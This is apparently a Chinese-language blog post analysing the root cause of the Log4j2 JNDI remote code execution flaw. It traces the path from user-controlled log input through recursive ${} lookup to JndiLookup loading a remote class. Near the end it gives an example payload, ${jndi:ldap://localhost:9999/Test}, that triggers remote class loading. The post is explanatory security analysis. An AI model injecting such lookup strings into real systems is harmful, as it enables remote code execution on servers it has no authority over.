Ashing's Blog

想学的太多 懂得的太少

0%

Log4j2漏洞原因梳理

并不复杂?甚至认真读了官方文档就可以发现漏洞?原理就是 log4j2 提供的正常功能?

对于${jndi:}格式的日志默认执行JndiLoop.lookup导致的RCE。日志的任何一部分插入${}都会进行递归处理,也就是说log.info/error/warn等方法,如果日志内容可控则可注入恶意命令。

1 输入可控:相信了用户的输入 —> 进入到 log.xx(输入)方法

比如:登录用户名是可控输入,后端一般用日志处理相关的输入信息,如:log.error("xxx, {}",username),可控输入能够进入 Log4j2 处理程序

2 触发条件:logIfEnabled() —> 进入到logMessage(输入)的方法中

当日志级别(调用)大于等于(intLevel 值 <= )系统设置的intLevel(默认 200)的时候,log4j2才会启用日志打印

调用级别越大值越小。默认调用级别(intLevel 值):error(200)。默认时使用 OFF、log.fatal()、log.error() 才可触发记录日志

3 log4j2 匹配 —> 递归解析${} —> 内容进入 lookup() 查询

MessagePatternConverter.format() 匹配 ${} 内容,一旦匹配则触发替换机制

org.apache.logging.log4j.core.pattern.MessagePatternConverter的format()方法中,判断noLookups这个变量的值,noLookups默认为false(意思为开启JNDI格式化功能)

getStrSubstitutor().replace(event, value):提取传入 looup() 的参数

log的message event进行处 理,取出${}中的数据进行后续lookup()操作

递归解析,若${}嵌套则会由内向外多次解析

Interpolator.lookup():lookup() 查询 jndi

org.apache.logging.log4 j.core.lookup.Interpolatorlookup()方法包含多种处理event的途径,根据eventprefix选择相应的StrLookup进行处理。包括jndi、date、Java、main

详细 event -> prefix:log4j2 中文文档:https://www.docs4dev.com/docs/zh/log4j2/2.x/all/manual-lookups.html

当构造的eventprefixjndi时,则通过org.apache.logging.log4j.core.lookup.JndiLookuplookup()方法处理,从而                        触发JNDI漏洞利用。

参数 jndiName 是用户可控的${中的值},也就是在 log 中的记录

4 JNDI 注入远程加载类,类似于远程文件包含,可加载自己 vps 上的恶意代码达到 RCE

使用 jndi: 关键字来触发 JNDI 注入漏洞,对于 jndi: 关键字的处理类为 org.apache.logging.log4j.core.lookup.JndiLookup

默认支持解析 jndi/rmi 协议,并会通过名称从 ldap 服务端其获取对应的 Class 文件,并使用 ClassLoader 在本地加载 Ldap 服务端返回的 Class 类

这就为攻击者提供了攻击途径,攻击者可以在界面传入一个包含恶意内容(会提供一个恶意的Class文件)的 ldap 协议内容(如:恶意内容${jndi:ldap://localhost:9999/Test}恶意内容),该内容传递到后端被 log4j2 打印出来,就会触发恶意的 Class 的加载执行(可执行任意后台指令),从而达到攻击的目的。